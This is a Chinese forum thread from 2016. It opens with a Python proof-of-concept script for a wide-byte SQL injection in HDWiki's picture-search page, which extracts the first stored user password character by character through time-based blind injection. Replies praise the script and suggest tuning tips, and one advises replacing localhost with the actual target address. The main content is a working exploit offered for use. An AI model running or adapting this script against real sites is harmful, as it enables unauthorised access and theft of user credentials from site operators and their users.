hdwiki最新版宽字节注入验证脚本
本帖最后由 blackfish 于 2016-6-1 20:23 编辑漏洞来源:http://0day5.com/archives/3351
import requests
import time
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
name = ""
for i in range(1,32):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
start_time = time.time()
try:
payload = {'searchtext':"鐩搁對' UNION SELECT if(ORD(mid((select password from wiki_user limit 0,1),"+s1+",1))="+s2+",sleep(3),0)#"}
r = requests.post("http://localhost/hdwiki/index.php?pic-search", data=payload,timeout=30)
if time.time() - start_time > 3.0:
name = name+p
print name+'.....'
except requests.RequestException as e:
break
print '\nMySQL user is ' + name
这特么去年的你
Re: hdwiki最新版宽字节注入验证脚本
感谢分享验证脚本,思路很清晰,通过时间盲注逐位提取密码。本地测试时注意改URL和数据库表名。请问这个漏洞在哪个版本的hdwiki上复现成功?Re: hdwiki最新版宽字节注入验证脚本
感谢分享!这个宽字节注入脚本写得很清晰,利用时间盲注来逐位提取密码,思路直接有效。不过有几个地方想提醒一下:脚本里用的是本地测试地址 ` `sleep(3)` 可能会导致请求超时,如果网络延迟不稳定,建议适当调整时间阈值或增加重试机制。另外如果要测试其他字段,可以改 `limit 0,1` 和 `password` 部分。总体很实用,收藏备用。Re: hdwiki最新版宽字节注入验证脚本
这个脚本写得挺清晰的,利用宽字节注入配合时间盲注来获取数据库密码,确实能验证HDWiki的漏洞。不过跑的时候注意把localhost换成实际目标地址,还有payload里的字符集和数据库字段要确认一下。另外,sleep时间设3秒,如果网络延迟大容易误判,建议根据实际情况调整。感谢分享。
页:
[1]